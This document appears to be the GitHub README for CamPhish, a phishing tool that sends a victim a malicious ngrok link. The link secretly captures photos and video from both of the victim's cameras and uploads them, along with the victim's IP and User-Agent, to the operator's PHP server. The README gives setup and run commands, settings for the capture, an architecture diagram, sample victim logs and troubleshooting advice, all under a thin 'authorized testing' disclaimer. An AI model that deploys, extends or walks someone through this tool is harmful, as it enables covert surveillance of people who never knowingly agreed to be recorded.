A professional tool to capture photos and videos from front and back cameras
This tool is for educational and authorized testing purposes only. Only use this tool on devices you own or have explicit permission to test. The author is not responsible for any misuse or illegal activity.
CamPhish is a powerful camera exploitation tool that allows you to capture photos and videos from a target's front and rear cameras through a single malicious link.
When the victim opens the link, the page automatically:
- πΈ Takes photos from the front camera
- π₯ Records video from the front camera
- πΈ Takes photos from the back camera
- π₯ Records video from the back camera
All captured media is immediately uploaded to your server and saved in the uploads/ folder!
- β Dual Camera Support - Captures from both front and rear cameras
- β Auto Upload - Media files are automatically uploaded via PHP backend
- β Concurrent Uploads - Handles multiple files simultaneously (up to 3 at once)
- β
Customizable Settings - Adjust photo count and video duration via
index.html - β Logging System - Records all victim data (IP, User-Agent, timestamps)
- β Cross-Platform - Works on Windows, Linux, and Termux (Android)
- β Ngrok Integration - Creates public HTTPS links automatically
- β Token Persistence - Saves your Ngrok token for future use
| Requirement | Installation |
|---|---|
| PHP | Download for Windowssudo apt install php (Linux)pkg install php (Termux) |
| Ngrok | Download for Windows Download for Linux Termux Instructions |
| Python 3.8+ | Download for Windowssudo apt install python (Linux)pkg install python (Termux) |
- Sign up at ngrok.com
- Get your authtoken from your dashboard
- Add your token:
ngrok config add-authtoken <your_token_here>git clone https://github.com/Mr-Spect3r/CamPhish
cd CamPhish
python main.pyWhen prompted, you can modify the index.html file settings:
Do you want to change the settings of the 'index.html' file? (y/n): y
Front Photo Count (e.g: 3): 5
Back Photo Count (e.g: 3): 3
Front Video Seconds (e.g: 5): 10
Back Video Seconds (e.g: 4): 6
Or manually edit these variables in index.html:
let frontPhotoCount = 3; // Number of front camera photos
let backPhotoCount = 3; // Number of back camera photos
let frontVideoSeconds = 5; // Front video duration (seconds)
let backVideoSeconds = 5; // Back video duration (seconds)CamPhish/
βββ main.py # Main launcher script
βββ upload.php # PHP backend for file uploads
βββ index.html # Camera capture page (sent to victim)
βββ uploads/ # Captured media storage folder
βββ token.txt # Saved Ngrok token (auto-generated)
βββ upload_log.json # Activity logs (IP, User-Agent, timestamps)
Victim opens link β Requests camera permissions β Captures photos/videos
β β β
Ngrok tunnel ββββββ Local PHP server βββββββ Uploads to uploads/
- Python script starts PHP server on random port (8000-8999)
- Ngrok creates public HTTPS tunnel to local server
- Victim opens the public URL
- JavaScript requests camera access (front β back)
- Media captured and sent to
upload.phpvia FormData - PHP saves files to
/uploadsfolder - Logs recorded with victim's IP and User-Agent
uploads/
βββ @MrEsfelurm_front_photo_1703123456789_1.jpg
βββ @MrEsfelurm_front_video_1703123456789.webm
βββ @MrEsfelurm_back_photo_1703123456790_1.jpg
βββ @MrEsfelurm_back_video_1703123456790.webm
[
{
"ip": "192.168.1.100",
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"frontPhotos": 3,
"frontVideos": 1,
"backPhotos": 3,
"backVideos": 1,
"timestamp": "2024-01-15 14:30:25"
}
]
| Issue | Solution |
|---|---|
| PHP not found | Install PHP from prerequisites section |
| Ngrok not found | Download ngrok and add to PATH / use portable version |
| No URL generated | Try using a VPN (some regions block ngrok) |
| Camera not working | Ensure HTTPS is used (ngrok provides this) |
| Uploads folder empty | Check write permissions on uploads/ directory |
- Telegram: @MrEsfelurm | @esfelorm | @TmCroc
- GitHub: Mr-Spect3r
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CamPhish v1.0 β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
Front & Back Camera Capture β
β β
Photo & Video Support β
β β
Auto Upload via PHP β
β β
Concurrent Upload Queue β
β β
Customizable Media Count/Duration β
β β
Ngrok HTTPS Tunneling β
β β
Multi-Platform (Win/Linux/Termux) β
β β
IP & User-Agent Logging β
β β
Token Persistence β
β β
Colorful Terminal UI β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
- The victim must grant camera permissions for the attack to work
- Modern browsers may show "camera in use" indicators
- Use HTTPS links (ngrok provides these automatically)
- All media is stored locally on YOUR machine
